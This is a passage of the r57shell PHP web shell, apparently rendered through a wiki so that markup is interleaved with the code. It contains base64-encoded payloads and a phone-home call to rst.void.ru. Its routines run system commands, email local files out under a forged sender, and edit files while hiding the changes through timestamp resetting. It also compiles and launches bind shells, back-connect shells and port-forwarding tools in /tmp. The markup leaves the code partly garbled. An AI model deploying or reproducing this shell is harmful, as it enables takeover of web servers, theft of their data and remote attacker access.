 >T4gJGhvc3QpOw0KJGFoID0gSU86Ol NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvc
 >nQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fC
 >BkaWUgIiQhIjsNC iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQ
 >p3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHB
 >y aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3J
 >rKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ SICIkIVxuIjs
 >gfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAk
 >Y2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1
 >biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tld
 >Do6SU5FVC0+bmV3KCdQZWVyQ WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb
 >3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm
 >15ICRmaDsN CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bS
 >gpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 yIG
 >RpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTs
 >NCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi I7DQp2ZWMoJHJpbiw
 >gZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0
 >aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRy
 >b3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvd
 >XQgICYmICAhJGVvdXQp IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZ
 >XIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIH
 >x8IHZ lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IH
 >N5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW QoJHJlc3
 >VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJ
 >lc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK CR0aCAgJiYgICh2ZWMoJGV
 >vdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwg
 >MSkpKSB7DQpteSAkcmVzdWx0ID0g c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0
 >KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iO
 >yBleGl0IDA7IH0 NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgK
 >CRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
 > UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3
 >JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I DApIHskdGJ1Zm
 >ZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREV
 >SUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs ZW4gPSBsZW5ndGgoJGNidWZmZXI
 >pKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQpp
 >ZiAoJHJlcyA+IDApIHskY2J 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7
 >fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; $c1 = "PHN
 >jcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxv
 >Z19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 JmltPTEmcj0iK2VzY2FwZShk
 >b2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24ua
 >HJlZik7ZG9jdW1lbnQuY29va2l lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX
 >3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcm
 >lwdCBsYW5ndW FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdG
 >xvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L 3
 >NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM
 >9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr J3gnK3NjcmVlbi5
 >oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMp
 >PT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR oOnNjcmVlbi5waXhlbERlcHRoKTwv
 >c2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qc
 >z0iMS4zIjwvc2NyaXB0Pj xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvd
 >GxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPS
 >dodHRwO i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW
 >1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv dGxvZy
 >9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGF
 >sdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB ocmVmPWh0dHA6Ly9jbGl
 >jay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9o
 >aXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEi
 >IGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L
 >25vc2NyaXB0Pg=="; $c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNj
 >cmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJ
 >zxh IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ
 >3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl hZHJvLnJ1L
 >2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2
 >Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz tzJytzY3JlZW4ud2lkdGgrJy
 >onK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5
 >jb2xvckRlcHRoOnNjcmVlbi5wa XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCk
 >rDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu
 >8vDu4iDoIO/u 8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lk
 >dGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV y
 >bmV0LS0+"; echo $head; echo '&lt;/head&gt;'; if(empty($_POST{{med
 >iawiki.external('\'cmd\'')}})) { $serv = array(127,192,172,10); $
 >addr=@explode('.', $_SERVER{{mediawiki.external('\'SERVER_ADDR\''
 >)}}); $current_version = str_replace('.',<i>,$version);</i> if (!
 >in_array($addr{{mediawiki.external(0)}}, $serv)) { @print "&lt;im
 >g src=\"http://rst.void.ru/r57shell_version/version.php?img=1&amp
 >;version=".$current_version."\" border=0 height=0 width=0&gt;"; @
 >readfile ("http://rst.void.ru/r57shell_version/version.php?versio
 >n=".$current_version."");}}</font>
1275    </p><font face="Verdana" size="-2">echo '&lt;body bgcolor="#e
 >4e0d8"&gt;</font>
1276    <table bgcolor="#000000" cellpadding="0" cellspacing="0" widt
 >h="100%">
1277      <tbody>
1278        <tr>
1279          <td bgcolor="#CCCCCC" width="160">
1280            <font face="Verdana" size="2">'.ws(1).'&nbsp;</font>
1281            <p>
1282              <font face="Verdana" size="2"><font face="Webdings"
 > size="6"><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b></f
 >ont>
1283            </p>
1284          </td>
1285          <td bgcolor="#CCCCCC">
1286            <font face="Verdana" size="-2">';</font>
1287            <p>
1288              <font face="Verdana" size="-2">echo ws(2); echo "<b
 >>".date ("d-m-Y H:i:s")."</b>"; echo ws(2).$lb." &lt;a href=".$_S
 >ERVER{{mediawiki.external('\'PHP_SELF\'')}}."?phpinfo title=\"".$
 >lang{{mediawiki.external('$language.\'_text46\'')}}."\"&gt;<b>php
 >info</b>&lt;/a&gt; ".$rb; echo ws(2).$lb." &lt;a href=".$_SERVER{
 >{mediawiki.external('\'PHP_SELF\'')}}."?phpini title=\"".$lang{{m
 >ediawiki.external('$language.\'_text47\'')}}."\"&gt;<b>php.ini</b
 >>&lt;/a&gt; ".$rb; echo ws(2).$lb." &lt;a href=".$_SERVER{{mediaw
 >iki.external('\'PHP_SELF\'')}}."?cpu title=\"".$lang{{mediawiki.e
 >xternal('$language.\'_text50\'')}}."\"&gt;<b>cpu</b>&lt;/a&gt; ".
 >$rb; echo ws(2).$lb." &lt;a href=".$_SERVER{{mediawiki.external('
 >\'PHP_SELF\'')}}."?mem title=\"".$lang{{mediawiki.external('$lang
 >uage.\'_text51\'')}}."\"&gt;<b>mem</b>&lt;/a&gt; ".$rb; if($unix)
 > { echo ws(2).$lb." &lt;a href=".$_SERVER{{mediawiki.external('\'
 >PHP_SELF\'')}}."?users title=\"".$lang{{mediawiki.external('$lang
 >uage.\'_text95\'')}}."\"&gt;<b>users</b>&lt;/a&gt; ".$rb; } echo 
 >ws(2).$lb." &lt;a href=".$_SERVER{{mediawiki.external('\'PHP_SELF
 >\'')}}."?tmp title=\"".$lang{{mediawiki.external('$language.\'_te
 >xt48\'')}}."\"&gt;<b>tmp</b>&lt;/a&gt; ".$rb; echo ws(2).$lb." &l
 >t;a href=".$_SERVER{{mediawiki.external('\'PHP_SELF\'')}}."?delet
 >e title=\"".$lang{{mediawiki.external('$language.\'_text49\'')}}.
 >"\"&gt;<b>delete</b>&lt;/a&gt; ".$rb."<br>
1289              "; echo ws(2); echo (($safe_mode)?("safe_mode: <b><
 >font color="green">ON</font></b>"):("safe_mode: <b><font color="r
 >ed">OFF</font></b>")); echo ws(2); echo "PHP version: <b>".@phpve
 >rsion()."</b>"; $curl_on = @function_exists('curl_version'); echo
 > ws(2); echo "cURL: ".(($curl_on)?("<b><font color="green">ON</fo
 >nt></b>"):("<b><font color="red">OFF</font></b>")); echo ws(2); e
 >cho "MySQL: <b>"; $mysql_on = @function_exists('mysql_connect'); 
 >if($mysql_on){ echo "<font color="green">ON</font></b>"; } else {
 > echo "<font color="red">OFF</font>&lt;/b&gt;"; } echo ws(2); ech
 >o "MSSQL: <b>"; $mssql_on = @function_exists('mssql_connect'); if
 >($mssql_on){echo "<font color="green">ON</font></b>";}else{echo "
 ><font color="red">OFF</font>&lt;/b&gt;";} echo ws(2); echo "Postg
 >reSQL: <b>"; $pg_on = @function_exists('pg_connect'); if($pg_on){
 >echo "<font color="green">ON</font></b>";}else{echo "<font color=
 >"red">OFF</font>&lt;/b&gt;";} echo ws(2); echo "Oracle: <b>"; $or
 >a_on = @function_exists('ocilogon'); if($ora_on){echo "<font colo
 >r="green">ON</font></b>";}else{echo "<font color="red">OFF</font>
 >&lt;/b&gt;";} echo "<br>
1290              ".ws(2); echo "Disable functions&nbsp;: <b>"; if(<i
 >>==($df=@ini_get('disable_functions'))){echo "<font color="green"
 >>NONE</font></i></b>";}else{echo "<font color="red">$df</font>&lt
 >;/b&gt;";} $free = @diskfreespace($dir); if (!$free) {$free = 0;}
 > $all = @disk_total_space($dir); if (!$all) {$all = 0;} $used = $
 >all-$free; $used_percent = @round(100/($all/$free),2); echo "<br>
1291              ".ws(2)."HDD Free&nbsp;: <b>".view_size($free)."</b
 >> HDD Total&nbsp;: <b>".view_size($all)."</b>";</font>
1292            </p><font face="Verdana" size="-2">echo '</font>
1293          </td>
1294        </tr>
1295      </tbody>
1296    </table>
1297    <table bgcolor="#000000" cellpadding="0" cellspacing="0" widt
 >h="100%">
1298      <tbody>
1299        <tr>
1300          <td align="right" width="100">
1301            ';
1302            <p>
1303              echo $font; if(!$windows){ echo '<font color="blue"
 >><b>uname -a&nbsp;:'.ws(1).'<br>
1304              sysctl&nbsp;:'.ws(1).'<br>
1305              $OSTYPE&nbsp;:'.ws(1).'<br>
1306              Server&nbsp;:'.ws(1).'<br>
1307              id&nbsp;:'.ws(1).'<br>
1308              pwd&nbsp;:'.ws(1).'</b></font><br>
1309              ';
1310            </p>echo "
1311          </td>
1312          <td>
1313            ";
1314            <p>
1315              echo "<font color="red" face="Verdana" size="-2"><b
 >>"; $uname = ex('uname -a'); echo((!empty($uname))?(ws(3).@substr
 >($uname,0,120)."<br>
1316              "):(ws(3).@substr(@php_uname(),0,120)."<br>
1317              ")); if(!$safe_mode){ $bsd1 = ex('sysctl -n kern.os
 >type'); $bsd2 = ex('sysctl -n kern.osrelease'); $lin1 = ex('sysct
 >l -n kernel.ostype'); $lin2 = ex('sysctl -n kernel.osrelease'); }
 > if (!empty($bsd1)&amp;&amp;!empty($bsd2)) { $sysctl = "$bsd1 $bs
 >d2"; } else if (!empty($lin1)&amp;&amp;!empty($lin2)) {$sysctl = 
 >"$lin1 $lin2"; } else { $sysctl = "-"; } echo ws(3).$sysctl."<br>
1318              "; echo ws(3).ex('echo $OSTYPE')."<br>
1319              "; echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>
1320              "; $id = ex('id'); echo((!empty($id))?(ws(3).$id."<
 >br>
1321              "):(ws(3)."user=".@get_current_user()." uid=".@getm
 >yuid()." gid=".@getmygid()."<br>
1322              ")); echo ws(3).$dir; echo ws(3).'( '.perms(@filepe
 >rms($dir)).' )'; echo "</b></font>"; } else { echo '<font color="
 >blue"><b>OS&nbsp;:'.ws(1).'<br>
1323              Server&nbsp;:'.ws(1).'<br>
1324              User&nbsp;:'.ws(1).'<br>
1325              pwd&nbsp;:'.ws(1).'</b></font><br>
1326              ';
1327            </p>echo "
1328          </td>
1329          <td>
1330            ";
1331            <p>
1332              echo "<font color="red" face="Verdana" size="-2"><b
 >>"; echo ws(3).@substr(@php_uname(),0,120)."<br>
1333              "; echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>
1334              "; echo ws(3).@get_current_user()."<br>
1335              "; echo ws(3).$dir; echo "<br>
1336              &lt;/font&gt;"; } echo "&lt;/font&gt;"; echo "&lt;/
 >td&gt;&lt;/tr&gt;&lt;/table&gt;"; if(empty($c1)||empty($c2)) { di
 >e(); } $f = '<br>
1337              '; $f .= base64_decode($c1); $f .= base64_decode($c
 >2); if(isset($_POST{{mediawiki.external('\'cmd\'')}}) &amp;&amp;&
 >nbsp;!empty($_POST{{mediawiki.external('\'cmd\'')}}) &amp;&amp; $
 >_POST{{mediawiki.external('\'cmd\'')}}=="mail")</b></font>
1338            </p>
1339            <pre class="eval">
1340{
1341$res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$
 >POST['from']."\r\n");
1342mr($language,$res);
1343$_POST['cmd']="";
1344}
1345</pre>
1346            <p>
1347              if(isset($_POST{{mediawiki.external('\'cmd\'')}}) &
 >amp;&amp;&nbsp;!empty($_POST{{mediawiki.external('\'cmd\'')}}) &a
 >mp;&amp; $_POST{{mediawiki.external('\'cmd\'')}}=="mail_file" &am
 >p;&amp;&nbsp;!empty($_POST{{mediawiki.external('\'loc_file\'')}})
 >)
1348            </p>
1349            <pre class="eval">
1350{
1351if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_f
 >ile']); $_POST['cmd']=""; }
1352else
1353 {
1354   $filename = @basename($_POST['loc_file']);
1355   $filedump = @fread($file,@filesize($_POST['loc_file']));
1356   fclose($file);
1357   $content_encoding=$mime_type=<i>;</i>
1358   compress($filename,$filedump,$_POST['compress']);
1359   $attach = array(
1360                   "name"=&gt;$filename,
1361                   "type"=&gt;$mime_type,
1362                   "content"=&gt;$filedump
1363                  );
1364   if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57she
 >ll'; }
1365   if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.
 >com'; }
1366   $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$
 >attach);
1367   mr($language,$res);
1368   $_POST['cmd']="";
1369 }
1370}
1371</pre>
1372            <p>
1373              if(!empty($_POST{{mediawiki.external('\'cmd\'')}}) 
 >&amp;&amp; $_POST{{mediawiki.external('\'cmd\'')}} == "find_text"
 >) { $_POST{{mediawiki.external('\'cmd\'')}} = 'find '.$_POST{{med
 >iawiki.external('\'s_dir\'')}}.' -name \<i>.$_POST{{mediawiki.ext
 >ernal('\'s_mask\'')}}.'\' | xargs grep -E \</i>.$_POST{{mediawiki
 >.external('\'s_text\'')}}.'\<i>;</i> } if(!empty($_POST{{mediawik
 >i.external('\'cmd\'')}}) &amp;&amp; $_POST{{mediawiki.external('\
 >'cmd\'')}}=="ch_")
1374            </p>
1375            <pre class="eval">
1376{
1377switch($_POST['what'])
1378  {
1379  case 'own':
1380  @chown($_POST['param1'],$_POST['param2']);
1381  break;
1382  case 'grp':
1383  @chgrp($_POST['param1'],$_POST['param2']);
1384  break;
1385  case 'mod':
1386  @chmod($_POST['param1'],intval($_POST['param2'], 8));
1387  break;
1388  }
1389$_POST['cmd']="";
1390}
1391</pre>
1392            <p>
1393              if(!empty($_POST{{mediawiki.external('\'cmd\'')}}) 
 >&amp;&amp; $_POST{{mediawiki.external('\'cmd\'')}}=="mk")
1394            </p>
1395            <pre class="eval">
1396{
1397  switch($_POST['what'])
1398  {
1399    case 'file':
1400     if($_POST['action'] == "create")
1401      {
1402      if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['
 >mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
1403      else {
1404       fclose($file);
1405       $_POST['e_name'] = $_POST['mk_name'];
1406       $_POST['cmd']="edit_file";
1407</pre>echo "
1408            <table bgcolor="#000000" cellpadding="0" cellspacing=
 >"0" width="100%">
1409              <tbody>
1410                <tr>
1411                  <td bgcolor="#CCCCCC">
1412                    <div align="center">
1413                      <font face="Verdana" size="-2"><b>".$lang{{
 >mediawiki.external('$language.\'_text61\'')}}."</b></font>
1414                    </div>
1415                  </td>
1416                </tr>
1417              </tbody>
1418            </table>";
1419            <pre class="eval">
1420       }
1421      }
1422      else if($_POST['action'] == "delete")
1423      {
1424</pre>if(unlink($_POST{{mediawiki.external('\'mk_name\'')}})) ech
 >o "
1425            <table bgcolor="#000000" cellpadding="0" cellspacing=
 >"0" width="100%">
1426              <tbody>
1427                <tr>
1428                  <td bgcolor="#CCCCCC">
1429                    <div align="center">
1430                      <font face="Verdana" size="-2"><b>".$lang{{
 >mediawiki.external('$language.\'_text63\'')}}."</b></font>
1431                    </div>
1432                  </td>
1433                </tr>
1434              </tbody>
1435            </table>";
1436            <pre class="eval">
1437      $_POST['cmd']="";
1438      }
1439    break;
1440    case 'dir':
1441     if($_POST['action'] == "create"){
1442     if(mkdir($_POST['mk_name']))
1443      {
1444        $_POST['cmd']="";
1445</pre>echo "
1446            <table bgcolor="#000000" cellpadding="0" cellspacing=
 >"0" width="100%">
1447              <tbody>
1448                <tr>
1449                  <td bgcolor="#CCCCCC">
1450                    <div align="center">
1451                      <font face="Verdana" size="-2"><b>".$lang{{
 >mediawiki.external('$language.\'_text62\'')}}."</b></font>
1452                    </div>
1453                  </td>
1454                </tr>
1455              </tbody>
1456            </table>";
1457            <pre class="eval">
1458      }
1459     else { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
1460     }
1461     else if($_POST['action'] == "delete"){
1462</pre>if(rmdir($_POST{{mediawiki.external('\'mk_name\'')}})) echo
 > "
1463            <table bgcolor="#000000" cellpadding="0" cellspacing=
 >"0" width="100%">
1464              <tbody>
1465                <tr>
1466                  <td bgcolor="#CCCCCC">
1467                    <div align="center">
1468                      <font face="Verdana" size="-2"><b>".$lang{{
 >mediawiki.external('$language.\'_text64\'')}}."</b></font>
1469                    </div>
1470                  </td>
1471                </tr>
1472              </tbody>
1473            </table>";
1474            <pre class="eval">
1475     $_POST['cmd']="";
1476     }
1477    break;
1478  }
1479}
1480</pre>
1481            <p>
1482              if(!empty($_POST{{mediawiki.external('\'cmd\'')}}) 
 >&amp;&amp; $_POST{{mediawiki.external('\'cmd\'')}}=="edit_file" &
 >amp;&amp;&nbsp;!empty($_POST{{mediawiki.external('\'e_name\'')}})
 >)
1483            </p>
1484            <pre class="eval">
1485{
1486if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclos
 >e($file); }
1487if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name'
 >]); $_POST['cmd']=""; }
1488else {
1489echo $table_up3;
1490echo $font;
1491echo "&lt;form name=save_file method=post&gt;";
1492echo ws(3)."&lt;b&gt;".$_POST['e_name']."
1493</pre>
1494          </td>
1495        </tr>
1496      </tbody>
1497    </table>"; echo "
1498    <div align="center">
1499      &lt;textarea name=e_text cols=121 rows=24&gt;";
1500      <pre class="eval">
1501echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])))
 >;
1502fclose($file);
1503echo "&lt;/textarea&gt;";
1504echo "&lt;input type=hidden name=e_name value=".$_POST['e_name'].
 >"&gt;";
1505echo "&lt;input type=hidden name=dir value=".$dir."&gt;";
1506echo "&lt;input type=hidden name=cmd value=save_file&gt;";
1507echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):
 >("<br><br>&lt;input type=submit name=submit value=\" ".$lang[$lan
 >guage.'_butt10']." \"&gt;"));
1508</pre>echo "
1509    </div>";
1510    <pre class="eval">
1511echo "
1512</pre>"; echo "&lt;/form&gt;"; echo "";
1513    <pre class="eval">
1514exit();
1515}
1516}
1517</pre>
1518    <p>
1519      if(!empty($_POST{{mediawiki.external('\'cmd\'')}}) &amp;&am
 >p; $_POST{{mediawiki.external('\'cmd\'')}}=="save_file")
1520    </p>
1521    <pre class="eval">
1522{
1523$mtime = @filemtime($_POST['e_name']);
1524if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name'
 >]); }
1525else {
1526if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_tex
 >t']);
1527@fwrite($file,$_POST['e_text']);
1528@touch($_POST['e_name'],$mtime,$mtime);
1529$_POST['cmd']="";
1530</pre>echo "
1531    <table bgcolor="#000000" cellpadding="0" cellspacing="0" widt
 >h="100%">
1532      <tbody>
1533        <tr>
1534          <td bgcolor="#CCCCCC">
1535            <div align="center">
1536              <font face="Verdana" size="-2"><b>".$lang{{mediawik
 >i.external('$language.\'_text45\'')}}."</b></font>
1537            </div>
1538          </td>
1539        </tr>
1540      </tbody>
1541    </table>";
1542    <pre class="eval">
1543}
1544}
1545</pre>
1546    <p>
1547      if (!empty($_POST{{mediawiki.external('\'port\'')}})&amp;&a
 >mp;!empty($_POST{{mediawiki.external('\'bind_pass\'')}})&amp;&amp
 >;($_POST{{mediawiki.external('\'use\'')}}=="C")) {
1548    </p>
1549    <pre class="eval">
1550cf("/tmp/bd.c",$port_bind_bd_c);
1551$blah = ex("gcc -o /tmp/bd /tmp/bd.c");
1552@unlink("/tmp/bd.c");
1553$blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &a
 >mp;");
1554$_POST['cmd']="ps -aux | grep bd";
1555</pre>
1556    <p>
1557      } if (!empty($_POST{{mediawiki.external('\'port\'')}})&amp;
 >&amp;!empty($_POST{{mediawiki.external('\'bind_pass\'')}})&amp;&a
 >mp;($_POST{{mediawiki.external('\'use\'')}}=="Perl")) {
1558    </p>
1559    <pre class="eval">
1560cf("/tmp/bdpl",$port_bind_bd_pl);
1561$p2=which("perl");
1562if(empty($p2)) $p2="perl";
1563$blah = ex($p2." /tmp/bdpl ".$_POST['port']." &amp;");
1564$_POST['cmd']="ps -aux | grep bdpl";
1565</pre>
1566    <p>
1567      } if (!empty($_POST{{mediawiki.external('\'ip\'')}}) &amp;&
 >amp;&nbsp;!empty($_POST{{mediawiki.external('\'port\'')}}) &amp;&
 >amp; ($_POST{{mediawiki.external('\'use\'')}}=="Perl")) {
1568    </p>
1569    <pre class="eval">
1570cf("/tmp/back",$back_connect);
1571$p2=which("perl");
1572if(empty($p2)) $p2="perl";
1573$blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &a
 >mp;");
1574$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." 
 >port ".$_POST['port']." ...\"";
1575</pre>
1576    <p>
1577      } if (!empty($_POST{{mediawiki.external('\'ip\'')}}) &amp;&
 >amp;&nbsp;!empty($_POST{{mediawiki.external('\'port\'')}}) &amp;&
 >amp; ($_POST{{mediawiki.external('\'use\'')}}=="C")) {
1578    </p>
1579    <pre class="eval">
1580cf("/tmp/back.c",$back_connect_c);
1581$blah = ex("gcc -o /tmp/backc /tmp/back.c");
1582@unlink("/tmp/back.c");
1583$blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &amp;"
 >);
1584$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." 
 >port ".$_POST['port']." ...\"";
1585</pre>
1586    <p>
1587      } if (!empty($_POST{{mediawiki.external('\'local_port\'')}}
 >) &amp;&amp;&nbsp;!empty($_POST{{mediawiki.external('\'remote_hos
 >t\'')}}) &amp;&amp;&nbsp;!empty($_POST{{mediawiki.external('\'rem
 >ote_port\'')}}) &amp;&amp; ($_POST{{mediawiki.external('\'use\'')
 >}}=="Perl")) {
1588    </p>
1589    <pre class="eval">
1590cf("/tmp/dp",$datapipe_pl);
1591$p2=which("perl");
1592if(empty($p2)) $p2="perl";
1593$blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remot
 >e_host']." ".$_POST['remote_port']." &amp;");
1594$_POST['cmd']="ps -aux | grep dp";
1595</pre>
1596    <p>
1597      } if (!empty($_POST{{mediawiki.external('\'local_port\'')}}
 >) &amp;&amp;&nbsp;!empty($_POST{{mediawiki.external('\'remote_hos
 >t\'')}}) &amp;&amp;&nbsp;!empty($_POST{{mediawiki.external('\'rem
 >ote_port\'')}}) &amp;&amp; ($_POST{{mediawiki.external('\'use\'')
 >}}=="C")) {
1598    </p>
1599    <pre class="eval">
1600cf("/tmp/dpc.c",$datapipe_c);
1601$blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
1602@unlink("/tmp/dpc.c");
1603$blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_po
 >rt']." ".$_POST['remote_host']." &amp;");
1604$_POST['cmd']="ps -aux | grep dpc";
1605</pre>
1606    <p>
1607      } if (!empty($_POST{{mediawiki.external('\'alias\'')}})){ f
 >oreach ($aliases as $alias_name=&gt;$alias_cmd) { if ($_POST{{med
 >iawiki.external('\'alias\'')}} == $alias_name){$_POST{{mediawiki.
 >external('\'cmd\'')}}=$alias_cmd;}}} if (!empty($HTTP_POST_FILES{
 >{mediawiki.external('\'userfile\'')}}{{mediawiki.external('\'name
 >\'')}})) { if(isset($_POST{{mediawiki.external('\'nf1\'')}}) &amp
 >;&amp;&nbsp;!empty($_POST{{mediawiki.external('\'new_name\'')}}))
 > { $nfn = $_POST{{mediawiki.external('\'new_name\'')}}; } else { 
 >$nfn = $HTTP_POST_FILES{{mediawiki.external('\'userfile\'')}}{{me
 >diawiki.external('\'name\'')}}; } @copy($HTTP_POST_FILES{{mediawi
 >ki.external('\'userfile\'')}}{{mediawiki.external('\'tmp_name\'')
 >}},
1608    </p>
1609    <pre class="eval">
1610           $_POST['dir']."/".$nfn)
1611</pre>or print("
1612    <div align="center">
1613      <font color="red" face="Fixedsys">Error uploading file ".$H
 >TTP_POST_FILES{{mediawiki.external('\'userfile\'')}}{{mediawiki.e
 >xternal('\'name\'')}}."</font>
1614    </div>");
1615    <p>
